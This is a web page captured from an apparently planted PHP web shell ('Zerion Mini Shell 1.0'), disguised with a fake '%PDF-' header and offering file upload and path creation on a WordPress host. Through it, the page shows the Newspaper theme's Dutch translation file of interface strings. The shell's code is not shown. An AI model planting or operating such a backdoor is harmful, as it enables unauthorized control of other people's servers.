%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/jugement/wp-content/themes/Newspaper/translation/
Upload File :
Create Path :
Current File : /home/emergentqj/jugement/wp-content/themes/Newspaper/translation/nl_NL.po

msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: nl_NL\n"

#: no reference:
msgid "View all results"
msgstr "Bekijk alle resultaten"

#: no reference:
msgid "No results"
msgstr "Geen resultaten"

#: no reference:
msgid "Home"
msgstr "Home"

#: no reference:
msgid "CLOSE"
msgstr "SLUITEN"

#: no reference:
msgid "Page"
msgstr "Pagina"

#: no reference:
msgid "All"
msgstr "Alle"

#: no reference:
msgid "By"
msgstr "Door"

#: no reference:
msgid "Load more"
msgstr "Laad meer"

#: no reference:
msgid "View all posts in"
msgstr "Bekijk alle posts in"

#: no reference:
msgid "Tags"
msgstr "Tags"

#: no reference:
msgid "Previous article"
msgstr "Vorig artikel"

#: no reference:
msgid "Next article"
msgstr "Volgend artikel"

#: no reference:
msgid "Authors"
msgstr "Auteurs"

#: no reference:
msgid "Author"
msgstr "Auteur"

#: no reference:
msgid "RELATED ARTICLES"
msgstr "GERELATEERDE ARTIKELEN"

#: no reference:
msgid "MORE FROM AUTHOR"
msgstr "MEER VAN DEZE AUTEUR"

#: no reference:
msgid "VIA"
msgstr "VIA"

#: no reference:
msgid "SOURCE"
msgstr "BRON"

#: no reference:
msgid "TAGS"
msgstr "TAGS"

#: no reference:
msgid "SHARE"
msgstr "DELEN"

#: no reference:
msgid "Continue"
msgstr "Verder"

#: no reference:
msgid "Read more"
msgstr "Lees meer"

#: no reference:
msgid "Name:"
msgstr "Naam:"

#: no reference:
msgid "Email:"
msgstr "Email:"

#: no reference:
msgid "Website:"
msgstr "Website:"

#: no reference:
msgid "Comment:"
msgstr "Opmerking:"

#: no reference:
msgid "LEAVE A REPLY"
msgstr "LAAT EEN REACTIE ACHTER"

#: no reference:
msgid "Post Comment"
msgstr "Plaats Opmerking"

#: no reference:
msgid "Cancel reply"
msgstr "Annuleer reactie"

#: no reference:
msgid "Reply"
msgstr "Reageer"

#: no reference:
msgid "Log in to leave a comment"
msgstr "Log in om een opmerking achter te laten"

#: no reference:
msgid "NO COMMENTS"
msgstr "GEEN REACTIES"

#: no reference:
msgid "1 COMMENT"
msgstr "1 REACTIE"

#: no reference:
msgid "COMMENTS"
msgstr "REACTIES"

#: no reference:
msgid "REVIEW OVERVIEW"
msgstr "RECENSIEOVERZICHT"

#: no reference:
msgid "SUMMARY"
msgstr "SAMENVATTING"

#: no reference:
msgid "OVERALL SCORE"
msgstr "TOTALE SCORE"

#: no reference:
msgid "Ooops... Error 404"
msgstr "Oeps… Error 404"

#: no reference:
msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Sorry, maar de pagina die je zoekt bestaat niet"

#: no reference:
msgid "You can go to the"
msgstr "Je kunt naar de (homepage) gaan"

#: no reference:
msgid "HOMEPAGE"
msgstr "HOMEPAGE"

#: no reference:
msgid "OUR LATEST POSTS"
msgstr "ONZE LAATSTE POSTS"

#: no reference:
msgid "Posts by"
msgstr "Posts van"

#: no reference:
msgid "POSTS"
msgstr "POSTS"

#: no reference:
msgid "Posts tagged with"
msgstr "Posts getagd met"

#: no reference:
msgid "Tag"
msgstr "Tag"

#: no reference:
msgid "Daily Archives:"
msgstr "Dagelijke Archieven:"

#: no reference:
msgid "Monthly Archives:"
msgstr "Maandelijkse Archieven:"

#: no reference:
msgid "Yearly Archives:"
msgstr "Jaarlijkse Archieven:"

#: no reference:
msgid "Archives"
msgstr "Archieven"

#: no reference:
msgid "LATEST ARTICLES"
msgstr "LAATSTE ARTIKELEN"

#: no reference:
msgid "search results"
msgstr "zoekresultaten"

#: no reference:
msgid "Search"
msgstr "Zoek"

#: no reference:
msgid "If you're not happy with the results, please do another search"
msgstr "Wanneer u niet blij bent met de resultaten, kunt u een nieuwe zoekopdracht geven"

#: no reference:
msgid "Contact us"
msgstr "Neem contact met ons op"

#: no reference:
msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Pagina %CURRENT_PAGE% van %TOTAL_PAGES%"

#: no reference:
msgid "Next"
msgstr "Volgende"

#: no reference:
msgid "Prev"
msgstr "Vorige"

#: no reference:
msgid "No results for your search"
msgstr "Geen resultaten voor uw zoekopdracht"

#: no reference:
msgid "No posts to display"
msgstr "Geen posts om weer te geven"

#: no reference:
msgid "LOG IN"
msgstr "LOG IN"

#: no reference:
msgid "Sign in / Join"
msgstr "Aanmelden"

#: no reference:
msgid "Log In"
msgstr "Log In"

#: no reference:
msgid "REGISTER"
msgstr "REGISTREER"

#: no reference:
msgid "Send My Pass"
msgstr "Stuur Mijn Pas"

#: no reference:
msgid "Forgot your password?"
msgstr "Wachtwoord vergeten?"

#: no reference:
msgid "Please wait..."
msgstr "Even geduld…"

#: no reference:
msgid "User or password incorrect!"
msgstr "Gebruikersnaam of wachtwoord is incorrect!"

#: no reference:
msgid "Email or username incorrect!"
msgstr "Email of gebruikersnaam is incorrect!"

#: no reference:
msgid "Email incorrect!"
msgstr "Email is incorrect!"

#: no reference:
msgid "User or email already exists!"
msgstr "Gebruikersnaam of email bestaat al!"

#: no reference:
msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "Check alsublieft uw mail (inbox of spam), het wachtwoord is daarheen gestuurd"

#: no reference:
msgid "Email address not found!"
msgstr "Emailadres niet gevonden!"

#: no reference:
msgid "Your password is reset, check your email."
msgstr "Wachtwoord is gereset, check email."

#: no reference:
msgid "Welcome! Log into your account"
msgstr "Welkom! Log in op je account"

#: no reference:
msgid "Register for an account"
msgstr "Registreer voor een account"

#: no reference:
msgid "Recover your password"
msgstr "Vind je wachtwoord terug"

#: no reference:
msgid "your username"
msgstr "jouw gebruikersnaam"

#: no reference:
msgid "your password"
msgstr "jouw wachtwoord"

#: no reference:
msgid "your email"
msgstr "jouw mailadres"

#: no reference:
msgid "A password will be e-mailed to you."
msgstr "Er zal een wachtwoord naar je gemaild worden"

#: no reference:
msgid "Logout"
msgstr "Log uit"

#: no reference:
msgid "Like"
msgstr "Like"

#: no reference:
msgid "Fans"
msgstr "Fans"

#: no reference:
msgid "Follow"
msgstr "Volg"

#: no reference:
msgid "Followers"
msgstr "Volgers"

#: no reference:
msgid "Subscribe"
msgstr "Abonneer"

#: no reference:
msgid "Subscribers"
msgstr "Abonnees"

#: no reference:
msgid "MORE STORIES"
msgstr "MEER VERHALEN"

#: no reference:
msgid "Latest"
msgstr "Laatste"

#: no reference:
msgid "Featured posts"
msgstr "Aanbevolen posts"

#: no reference:
msgid "Most popular"
msgstr "Meest populair"

#: no reference:
msgid "7 days popular"
msgstr "7 dagen populair"

#: no reference:
msgid "By review score"
msgstr "Op recensiescore"

#: no reference:
msgid "Random"
msgstr "Willekeurig"

#: no reference:
msgid "Trending Now"
msgstr "Nu Trending"

#: no reference:
msgid "POPULAR CATEGORY"
msgstr "POPULAIRE CATEGORIE"

#: no reference:
msgid "EVEN MORE NEWS"
msgstr "NOG MEER NIEUWS"

#: no reference:
msgid "Previous (Left arrow key)"
msgstr "Vorige (Pijl naar links)"

#: no reference:
msgid "Next (Right arrow key)"
msgstr "Volgende (Pijl naar rechts)"

#: no reference:
msgid "%curr% of %total%"
msgstr "%curr% van %total%"

#: no reference:
msgid "The content from %url% could not be loaded."
msgstr "De inhoud van %url% kan niet worden geladen."

#: no reference:
msgid "The image #%curr% could not be loaded."
msgstr "De afbeelding #%curr% kan niet worden geladen."

#: no reference:
msgid "Blog"
msgstr "Blog"

#: no reference:
msgid "Share on Facebook"
msgstr "Deel op Facebook"

#: no reference:
msgid "Tweet on Twitter"
msgstr "Tweet op Twitter"

#: no reference:
msgid "EDITOR PICKS"
msgstr "SELECTIE VAN DE REDACTIE"

#: no reference:
msgid "POPULAR POSTS"
msgstr "POPULAIRE BERICHTEN"

#: no reference:
msgid "FOLLOW US"
msgstr "VOLG ONS"

#: no reference:
msgid "ABOUT US"
msgstr "OVER ONS"

#: no reference:
msgid "More"
msgstr "Meer"

#: no reference:
msgid "Featured"
msgstr "Gekenmerkte"

#: no reference:
msgid "All time popular"
msgstr "All time populaire"

#: no reference:
msgid "Likes"
msgstr "Sympathieën"

#: no reference:
msgid "Register"
msgstr "Registreren"


Zerion Mini Shell 1.0